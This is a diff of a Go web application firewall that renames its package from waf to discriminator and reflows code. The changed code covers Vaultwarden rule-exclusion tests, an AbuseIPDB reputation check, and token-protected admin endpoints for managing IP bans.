|
||||||
{
|
{http.MethodPost, "/api/accounts/password-hint", jsonBody, vaultwardenEmail},
|
||||||
http.MethodPost,
|
{http.MethodPost, "/api/accounts/email-token", jsonBody, `{"newEmail":"VALUE"}`},
|
||||||
"/api/accounts/password-hint",
|
|
||||||
jsonBody,
|
|
||||||
vaultwardenEmail,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
"/api/accounts/email-token",
|
|
||||||
jsonBody,
|
|
||||||
`{"newEmail":"VALUE"}`,
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
http.MethodPost, "/api/emergency-access/invite", jsonBody,
|
http.MethodPost, "/api/emergency-access/invite", jsonBody,
|
||||||
`{"email":"VALUE","type":0}`,
|
`{"email":"VALUE","type":0}`,
|
||||||
},
|
},
|
||||||
{
|
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"billingEmail":"VALUE"}`},
|
||||||
http.MethodPut,
|
|
||||||
vaultwardenOrganization,
|
|
||||||
jsonBody,
|
|
||||||
`{"billingEmail":"VALUE"}`,
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
|
http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
|
||||||
`{"emails":["alice@example.com","VALUE"],"type":2}`,
|
`{"emails":["alice@example.com","VALUE"],"type":2}`,
|
||||||
},
|
},
|
||||||
{
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from":"VALUE"}`},
|
||||||
http.MethodPost,
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_username":"VALUE"}`},
|
||||||
vaultwardenSettings,
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"org_creation_users":"VALUE"}`},
|
||||||
jsonBody,
|
|
||||||
`{"smtp_from":"VALUE"}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
vaultwardenSettings,
|
|
||||||
jsonBody,
|
|
||||||
`{"smtp_username":"VALUE"}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
vaultwardenSettings,
|
|
||||||
jsonBody,
|
|
||||||
`{"org_creation_users":"VALUE"}`,
|
|
||||||
},
|
|
||||||
{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
|
{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
|
||||||
{http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail},
|
{http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail},
|
||||||
{
|
{http.MethodPost, "/api/two-factor/send-email-login", jsonBody, vaultwardenEmail},
|
||||||
http.MethodPost,
|
{http.MethodPost, "/api/two-factor/send-email", jsonBody, vaultwardenEmail},
|
||||||
"/api/two-factor/send-email-login",
|
|
||||||
jsonBody,
|
|
||||||
vaultwardenEmail,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
"/api/two-factor/send-email",
|
|
||||||
jsonBody,
|
|
||||||
vaultwardenEmail,
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
http.MethodPut, "/api/two-factor/email", jsonBody,
|
http.MethodPut, "/api/two-factor/email", jsonBody,
|
||||||
`{"email":"VALUE","token":"123456"}`,
|
`{"email":"VALUE","token":"123456"}`,
|
||||||
},
|
},
|
||||||
{
|
{http.MethodPost, "/api/auth-requests", jsonBody, `{"email":"VALUE","type":0}`},
|
||||||
http.MethodPost,
|
|
||||||
"/api/auth-requests",
|
|
||||||
jsonBody,
|
|
||||||
`{"email":"VALUE","type":0}`,
|
|
||||||
},
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// vaultwardenBreachReport is the data breach report, which sends an address
|
// vaultwardenBreachReport is the data breach report, which sends an address
|
||||||
@@ -351,12 +256,7 @@ func TestVaultwardenExclusionsAreNarrow(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, refused.body)
|
got, _ := inspectBody(t, crs, r, refused.body)
|
||||||
if got.Score < vaultwardenThreshold {
|
if got.Score < vaultwardenThreshold {
|
||||||
t.Errorf(
|
t.Errorf("POST %s %s let through: %+v", refused.target, refused.body, got)
|
||||||
"POST %s %s let through: %+v",
|
|
||||||
refused.target,
|
|
||||||
refused.body,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -392,8 +292,7 @@ func TestVaultwardenAdminTokenPasses(t *testing.T) {
|
|||||||
func masterPasswordHashes(count int) []string {
|
func masterPasswordHashes(count int) []string {
|
||||||
const size, seed = 32, 288
|
const size, seed = 32, 288
|
||||||
|
|
||||||
//nolint:gosec // a fixed sample
|
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
|
||||||
random := rand.New(rand.NewPCG(seed, seed))
|
|
||||||
|
|
||||||
hashes := make([]string, count)
|
hashes := make([]string, count)
|
||||||
|
|
||||||
@@ -441,15 +340,8 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
|
|||||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||||
}
|
}
|
||||||
|
|
||||||
if got, _ := inspectBody(t, crs, sent.r, body); len(
|
if got, _ := inspectBody(t, crs, sent.r, body); len(got.RuleIDs) != 0 {
|
||||||
got.RuleIDs,
|
t.Errorf("POST %s %v set off rules: %+v", sent.r.target, sent.names, got)
|
||||||
) != 0 {
|
|
||||||
t.Errorf(
|
|
||||||
"POST %s %v set off rules: %+v",
|
|
||||||
sent.r.target,
|
|
||||||
sent.names,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -458,9 +350,7 @@ func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
encrypted := vaultwardenUpload(
|
encrypted := vaultwardenUpload("2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=")
|
||||||
"2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=",
|
|
||||||
)
|
|
||||||
|
|
||||||
for _, target := range []string{
|
for _, target := range []string{
|
||||||
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",
|
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
// The heuristic abuseipdb. It reads SWW_ABUSEIPDB_KEY,
|
// The heuristic abuseipdb. It reads SWW_ABUSEIPDB_KEY,
|
||||||
// SWW_ABUSEIPDB_MIN_SCORE and SWW_REPUTATION_ACTION.
|
// SWW_ABUSEIPDB_MIN_SCORE and SWW_REPUTATION_ACTION.
|
||||||
@@ -26,11 +26,7 @@ type abuseIPDB struct{}
|
|||||||
|
|
||||||
func (abuseIPDB) name() string { return "abuseipdb" }
|
func (abuseIPDB) name() string { return "abuseipdb" }
|
||||||
|
|
||||||
func (abuseIPDB) check(
|
func (abuseIPDB) check(ctx context.Context, rq *request, _ time.Time) *verdict {
|
||||||
ctx context.Context,
|
|
||||||
rq *request,
|
|
||||||
_ time.Time,
|
|
||||||
) *verdict {
|
|
||||||
if rq.h.config.AbuseIPDBKey == "" {
|
if rq.h.config.AbuseIPDBKey == "" {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -46,13 +42,8 @@ func (abuseIPDB) check(
|
|||||||
|
|
||||||
rq.abuseIPDBHit = true
|
rq.abuseIPDBHit = true
|
||||||
rq.addTag(config.AbuseIPDBTag)
|
rq.addTag(config.AbuseIPDBTag)
|
||||||
rq.noteHit(
|
rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
|
||||||
bans.ReputationHit{
|
"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE")
|
||||||
Source: reputation.AbuseIPDBSource,
|
|
||||||
Score: &score,
|
|
||||||
},
|
|
||||||
"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE",
|
|
||||||
)
|
|
||||||
|
|
||||||
if rq.h.config.ReputationAction != deny {
|
if rq.h.config.ReputationAction != deny {
|
||||||
return nil
|
return nil
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"bytes"
|
"bytes"
|
||||||
@@ -31,8 +31,7 @@ var (
|
|||||||
errNotBanToAdd = errors.New(
|
errNotBanToAdd = errors.New(
|
||||||
"the body is not a JSON object of netblock, duration and reason")
|
"the body is not a JSON object of netblock, duration and reason")
|
||||||
errNotNetblock = errors.New(
|
errNotNetblock = errors.New(
|
||||||
"is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24",
|
"is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24")
|
||||||
)
|
|
||||||
errMappedNetblock = errors.New(
|
errMappedNetblock = errors.New(
|
||||||
"is IPv4-mapped: give the IPv4 netblock, such as 203.0.113.0/24")
|
"is IPv4-mapped: give the IPv4 netblock, such as 203.0.113.0/24")
|
||||||
errZone = errors.New("has a zone, which a netblock cannot have")
|
errZone = errors.New("has a zone, which a netblock cannot have")
|
||||||
@@ -50,7 +49,7 @@ func (rq *request) answerHealth() {
|
|||||||
_, _ = io.WriteString(rq.out, "ok\n")
|
_, _ = io.WriteString(rq.out, "ok\n")
|
||||||
}
|
}
|
||||||
|
|
||||||
// answerAdmin answers a request for one of waf's own endpoints. Each
|
// answerAdmin answers a request for one of discriminator's own endpoints. Each
|
||||||
// needs a token, sent as Authorization: Bearer <token>: the metrics
|
// needs a token, sent as Authorization: Bearer <token>: the metrics
|
||||||
// SWW_METRICS_TOKEN, the others SWW_ADMIN_TOKEN. A request without it is
|
// SWW_METRICS_TOKEN, the others SWW_ADMIN_TOKEN. A request without it is
|
||||||
// refused with 401. An endpoint whose token is unset answers 404, as any other
|
// refused with 401. An endpoint whose token is unset answers 404, as any other
|
||||||
@@ -62,18 +61,10 @@ func (rq *request) answerAdmin() {
|
|||||||
|
|
||||||
switch {
|
switch {
|
||||||
case token == "":
|
case token == "":
|
||||||
http.Error(
|
http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
|
||||||
rq.out,
|
|
||||||
http.StatusText(http.StatusNotFound),
|
|
||||||
http.StatusNotFound,
|
|
||||||
)
|
|
||||||
case !hasToken(rq.in, token):
|
case !hasToken(rq.in, token):
|
||||||
rq.out.Header().Set("WWW-Authenticate", "Bearer")
|
rq.out.Header().Set("WWW-Authenticate", "Bearer")
|
||||||
http.Error(
|
http.Error(rq.out, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)
|
||||||
rq.out,
|
|
||||||
http.StatusText(http.StatusUnauthorized),
|
|
||||||
http.StatusUnauthorized,
|
|
||||||
)
|
|
||||||
default:
|
default:
|
||||||
answer()
|
answer()
|
||||||
}
|
}
|
||||||
@@ -159,9 +150,7 @@ func (rq *request) addBan() {
|
|||||||
// readBanToAdd reads the body of POST BansPath: a JSON object with
|
// readBanToAdd reads the body of POST BansPath: a JSON object with
|
||||||
// nothing but whitespace after it, in at most banBodyMaxBytes.
|
// nothing but whitespace after it, in at most banBodyMaxBytes.
|
||||||
func (rq *request) readBanToAdd() (banToAdd, error) {
|
func (rq *request) readBanToAdd() (banToAdd, error) {
|
||||||
data, err := io.ReadAll(
|
data, err := io.ReadAll(http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes))
|
||||||
http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes),
|
|
||||||
)
|
|
||||||
rq.requestBytes = int64(len(data))
|
rq.requestBytes = int64(len(data))
|
||||||
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -181,10 +170,7 @@ func (rq *request) readBanToAdd() (banToAdd, error) {
|
|||||||
// Token returns io.EOF only when nothing but whitespace is left.
|
// Token returns io.EOF only when nothing but whitespace is left.
|
||||||
_, err = decoder.Token()
|
_, err = decoder.Token()
|
||||||
if !errors.Is(err, io.EOF) {
|
if !errors.Is(err, io.EOF) {
|
||||||
return banToAdd{}, fmt.Errorf(
|
return banToAdd{}, fmt.Errorf("%w: more follows the object", errNotBanToAdd)
|
||||||
"%w: more follows the object",
|
|
||||||
errNotBanToAdd,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return toAdd, nil
|
return toAdd, nil
|
||||||
@@ -199,11 +185,7 @@ func (h *handler) banNetblock(value string) (netip.Prefix, error) {
|
|||||||
netblock, err := netip.ParsePrefix(value)
|
netblock, err := netip.ParsePrefix(value)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
if netblock.Addr().Is4In6() {
|
if netblock.Addr().Is4In6() {
|
||||||
return netip.Prefix{}, fmt.Errorf(
|
return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errMappedNetblock)
|
||||||
"netblock %q %w",
|
|
||||||
value,
|
|
||||||
errMappedNetblock,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return netblock, nil
|
return netblock, nil
|
||||||
@@ -213,11 +195,7 @@ func (h *handler) banNetblock(value string) (netip.Prefix, error) {
|
|||||||
// 2001:db8::1%x/48 as part of the zone.
|
// 2001:db8::1%x/48 as part of the zone.
|
||||||
addr, err := netip.ParseAddr(value)
|
addr, err := netip.ParseAddr(value)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return netip.Prefix{}, fmt.Errorf(
|
return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errNotNetblock)
|
||||||
"netblock %q %w",
|
|
||||||
value,
|
|
||||||
errNotNetblock,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if addr.Zone() != "" {
|
if addr.Zone() != "" {
|
||||||
@@ -236,11 +214,7 @@ func expiry(duration string, now time.Time) (time.Time, error) {
|
|||||||
|
|
||||||
length, err := config.ParseDurationNotOff(duration)
|
length, err := config.ParseDurationNotOff(duration)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return time.Time{}, fmt.Errorf(
|
return time.Time{}, fmt.Errorf("duration %q %w", duration, errNotDuration)
|
||||||
"duration %q %w",
|
|
||||||
duration,
|
|
||||||
errNotDuration,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return now.Add(length), nil
|
return now.Add(length), nil
|
||||||
@@ -259,11 +233,7 @@ func (rq *request) liftBans() {
|
|||||||
|
|
||||||
lifted := rq.h.ledger.Lift(client, rq.h.now())
|
lifted := rq.h.ledger.Lift(client, rq.h.now())
|
||||||
if len(lifted) == 0 {
|
if len(lifted) == 0 {
|
||||||
http.Error(
|
http.Error(rq.out, "no ban is active on "+client.String(), http.StatusNotFound)
|
||||||
rq.out,
|
|
||||||
"no ban is active on "+client.String(),
|
|
||||||
http.StatusNotFound,
|
|
||||||
)
|
|
||||||
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -280,7 +250,7 @@ type clientAnswer struct {
|
|||||||
Bans []state.BanEntry `json:"bans"`
|
Bans []state.BanEntry `json:"bans"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// showClient answers GET ClientsPath<ip> with what waf knows of the client:
|
// showClient answers GET ClientsPath<ip> with what discriminator knows of the client:
|
||||||
// its counters, its history, which holds its country as last looked up and its
|
// its counters, its history, which holds its country as last looked up and its
|
||||||
// offences, and its bans with their notes.
|
// offences, and its bans with their notes.
|
||||||
func (rq *request) showClient() {
|
func (rq *request) showClient() {
|
||||||
@@ -291,9 +261,7 @@ func (rq *request) showClient() {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
answer := clientAnswer{
|
answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))}
|
||||||
Bans: state.BanEntries(rq.h.ledger.Covering(addr)),
|
|
||||||
}
|
|
||||||
|
|
||||||
client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr))
|
client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr))
|
||||||
if seen {
|
if seen {
|
||||||
@@ -326,11 +294,7 @@ func (rq *request) answerBans(held []bans.Ban) {
|
|||||||
func (rq *request) answerJSON(value any) {
|
func (rq *request) answerJSON(value any) {
|
||||||
body, err := json.MarshalIndent(value, "", " ")
|
body, err := json.MarshalIndent(value, "", " ")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
rq.h.processLog.Error(
|
rq.h.processLog.Error("encoding an answer failed", "error", err.Error())
|
||||||
"encoding an answer failed",
|
|
||||||
"error",
|
|
||||||
err.Error(),
|
|
||||||
)
|
|
||||||
http.Error(rq.out, http.StatusText(http.StatusInternalServerError),
|
http.Error(rq.out, http.StatusText(http.StatusInternalServerError),
|
||||||
http.StatusInternalServerError)
|
http.StatusInternalServerError)
|
||||||
|
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf_test
|
package discriminator_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
@@ -10,10 +10,10 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/state"
|
"sneak.berlin/go/smallwebwaf/internal/state"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -32,37 +32,20 @@ func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// The metrics token is set, and opens none of them.
|
// The metrics token is set, and opens none of them.
|
||||||
s, clk, server := startWithClock(
|
s, clk, server := startWithClock(t, "", map[string]string{metricsToken: token})
|
||||||
t,
|
server.Ledger.BanForLimit(netip.MustParsePrefix(otherClient+"/32"), clk.Now(),
|
||||||
"",
|
bans.Notes{})
|
||||||
map[string]string{metricsToken: token},
|
|
||||||
)
|
|
||||||
server.Ledger.BanForLimit(
|
|
||||||
netip.MustParsePrefix(otherClient+"/32"),
|
|
||||||
clk.Now(),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
before := server.Ledger.Snapshot()
|
before := server.Ledger.Snapshot()
|
||||||
|
|
||||||
// An empty token does not match the unset one either.
|
// An empty token does not match the unset one either.
|
||||||
for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} {
|
for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} {
|
||||||
for _, e := range adminEndpoints() {
|
for _, e := range adminEndpoints() {
|
||||||
s.ownEndpointRequest(
|
s.ownEndpointRequest(authorization, e.method, e.path, e.body, http.StatusNotFound)
|
||||||
authorization,
|
|
||||||
e.method,
|
|
||||||
e.path,
|
|
||||||
e.body,
|
|
||||||
http.StatusNotFound,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
|
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
|
||||||
t.Errorf(
|
t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before)
|
||||||
"the bans are now\n%+v\nwant them unchanged\n%+v",
|
|
||||||
after,
|
|
||||||
before,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -84,54 +67,32 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
|
|||||||
for _, authorization := range []string{
|
for _, authorization := range []string{
|
||||||
"", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret,
|
"", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret,
|
||||||
} {
|
} {
|
||||||
got := s.ownEndpointRequest(
|
got := s.ownEndpointRequest(authorization, e.method, e.path, e.body,
|
||||||
authorization,
|
http.StatusUnauthorized)
|
||||||
e.method,
|
|
||||||
e.path,
|
|
||||||
e.body,
|
|
||||||
http.StatusUnauthorized,
|
|
||||||
)
|
|
||||||
if got.header.Get("WWW-Authenticate") != "Bearer" {
|
if got.header.Get("WWW-Authenticate") != "Bearer" {
|
||||||
t.Errorf(
|
t.Errorf("%s %s with %q was answered without WWW-Authenticate: Bearer",
|
||||||
"%s %s with %q was answered without WWW-Authenticate: Bearer",
|
e.method, e.path, authorization)
|
||||||
e.method,
|
|
||||||
e.path,
|
|
||||||
authorization,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(
|
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
|
||||||
after,
|
t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
|
||||||
before,
|
e.method, e.path, after, before)
|
||||||
) {
|
|
||||||
t.Errorf(
|
|
||||||
"%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
|
|
||||||
e.method,
|
|
||||||
e.path,
|
|
||||||
after,
|
|
||||||
before,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
got := s.admin(e.method, e.path, e.body, http.StatusOK)
|
got := s.admin(e.method, e.path, e.body, http.StatusOK)
|
||||||
if got.header.Get("Content-Type") != "application/json" {
|
if got.header.Get("Content-Type") != "application/json" {
|
||||||
t.Errorf(
|
t.Errorf("%s %s answered %q", e.method, e.path, got.header.Get("Content-Type"))
|
||||||
"%s %s answered %q",
|
|
||||||
e.method,
|
|
||||||
e.path,
|
|
||||||
got.header.Get("Content-Type"),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Any other request under /_sww/ is not found.
|
// Any other request under /_sww/ is not found.
|
||||||
for _, e := range []adminEndpoint{
|
for _, e := range []adminEndpoint{
|
||||||
{http.MethodPut, waf.BansPath, banOtherClient},
|
{http.MethodPut, discriminator.BansPath, banOtherClient},
|
||||||
{http.MethodDelete, waf.BansPath, ""},
|
{http.MethodDelete, discriminator.BansPath, ""},
|
||||||
{http.MethodGet, waf.BansPath + "/" + otherClient, ""},
|
{http.MethodGet, discriminator.BansPath + "/" + otherClient, ""},
|
||||||
{http.MethodPost, waf.ClientsPath + otherClient, ""},
|
{http.MethodPost, discriminator.ClientsPath + otherClient, ""},
|
||||||
{http.MethodGet, strings.TrimSuffix(waf.ClientsPath, "/"), ""},
|
{http.MethodGet, strings.TrimSuffix(discriminator.ClientsPath, "/"), ""},
|
||||||
} {
|
} {
|
||||||
s.admin(e.method, e.path, e.body, http.StatusNotFound)
|
s.admin(e.method, e.path, e.body, http.StatusNotFound)
|
||||||
}
|
}
|
||||||
@@ -157,14 +118,10 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
|
|||||||
Reason: "probes for logins",
|
Reason: "probes for logins",
|
||||||
}
|
}
|
||||||
|
|
||||||
wantBans(t, s.admin(http.MethodPost, waf.BansPath, banOtherClient,
|
wantBans(t, s.admin(http.MethodPost, discriminator.BansPath, banOtherClient,
|
||||||
http.StatusOK), want)
|
http.StatusOK), want)
|
||||||
|
|
||||||
line := s.get(
|
line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
client,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionTemporarilyBanned,
|
|
||||||
)
|
|
||||||
if line.BanExpires != requestlog.FormatTime(expires) {
|
if line.BanExpires != requestlog.FormatTime(expires) {
|
||||||
t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires)
|
t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires)
|
||||||
}
|
}
|
||||||
@@ -172,11 +129,7 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
|
|||||||
// Its notes count the request it refused.
|
// Its notes count the request it refused.
|
||||||
want.Notes.Requests, want.Notes.Refused = 1, 1
|
want.Notes.Requests, want.Notes.Refused = 1, 1
|
||||||
|
|
||||||
wantBans(
|
wantBans(t, s.admin(http.MethodGet, discriminator.BansPath, "", http.StatusOK), want)
|
||||||
t,
|
|
||||||
s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK),
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
|
|
||||||
// Ten minutes on, lifting the bans on client lifts that one, which is
|
// Ten minutes on, lifting the bans on client lifts that one, which is
|
||||||
// kept, marked lifted.
|
// kept, marked lifted.
|
||||||
@@ -185,22 +138,13 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
|
|||||||
lifted := clk.Now()
|
lifted := clk.Now()
|
||||||
want.Lifted = &lifted
|
want.Lifted = &lifted
|
||||||
|
|
||||||
wantBans(t, s.admin(http.MethodDelete, waf.BansPath+"/"+client, "",
|
wantBans(t, s.admin(http.MethodDelete, discriminator.BansPath+"/"+client, "",
|
||||||
http.StatusOK), want)
|
http.StatusOK), want)
|
||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||||
wantBans(
|
wantBans(t, s.admin(http.MethodGet, discriminator.BansPath, "", http.StatusOK), want)
|
||||||
t,
|
|
||||||
s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK),
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
|
|
||||||
// No ban on it is active any more.
|
// No ban on it is active any more.
|
||||||
s.admin(
|
s.admin(http.MethodDelete, discriminator.BansPath+"/"+client, "", http.StatusNotFound)
|
||||||
http.MethodDelete,
|
|
||||||
waf.BansPath+"/"+client,
|
|
||||||
"",
|
|
||||||
http.StatusNotFound,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
|
func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
|
||||||
@@ -229,9 +173,7 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
|
|||||||
body := `{"netblock": "` + tc.netblock + `", "duration": "` + tc.duration + `"}` +
|
body := `{"netblock": "` + tc.netblock + `", "duration": "` + tc.duration + `"}` +
|
||||||
"\r\n"
|
"\r\n"
|
||||||
want := state.BanEntry{
|
want := state.BanEntry{
|
||||||
Netblock: netip.MustParsePrefix(
|
Netblock: netip.MustParsePrefix(tc.want), Start: start, Cause: bans.CauseAdmin,
|
||||||
tc.want,
|
|
||||||
), Start: start, Cause: bans.CauseAdmin,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if tc.length != 0 {
|
if tc.length != 0 {
|
||||||
@@ -239,22 +181,15 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
|
|||||||
want.Expires = &expires
|
want.Expires = &expires
|
||||||
}
|
}
|
||||||
|
|
||||||
wantBans(
|
wantBans(t, s.admin(http.MethodPost, discriminator.BansPath, body, http.StatusOK),
|
||||||
t,
|
want)
|
||||||
s.admin(http.MethodPost, waf.BansPath, body, http.StatusOK),
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
|
func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, server := startWithClock(
|
s, _, server := startWithClock(t, "", map[string]string{adminToken: adminSecret})
|
||||||
t,
|
|
||||||
"",
|
|
||||||
map[string]string{adminToken: adminSecret},
|
|
||||||
)
|
|
||||||
|
|
||||||
for _, tc := range []struct{ body, want string }{
|
for _, tc := range []struct{ body, want string }{
|
||||||
{"", "the body is not a JSON object of netblock, duration and reason: EOF"},
|
{"", "the body is not a JSON object of netblock, duration and reason: EOF"},
|
||||||
@@ -316,15 +251,10 @@ func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
|
|||||||
"request body too large",
|
"request body too large",
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
got := s.admin(http.MethodPost, waf.BansPath, tc.body,
|
got := s.admin(http.MethodPost, discriminator.BansPath, tc.body,
|
||||||
http.StatusBadRequest)
|
http.StatusBadRequest)
|
||||||
if !strings.Contains(string(got.body), tc.want) {
|
if !strings.Contains(string(got.body), tc.want) {
|
||||||
t.Errorf(
|
t.Errorf("%.80s was answered %q, want it to say %q", tc.body, got.body, tc.want)
|
||||||
"%.80s was answered %q, want it to say %q",
|
|
||||||
tc.body,
|
|
||||||
got.body,
|
|
||||||
tc.want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -346,11 +276,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
|
|||||||
// limit of two a minute, and bans it.
|
// limit of two a minute, and bans it.
|
||||||
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
|
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
|
||||||
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
|
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
|
||||||
s.get(
|
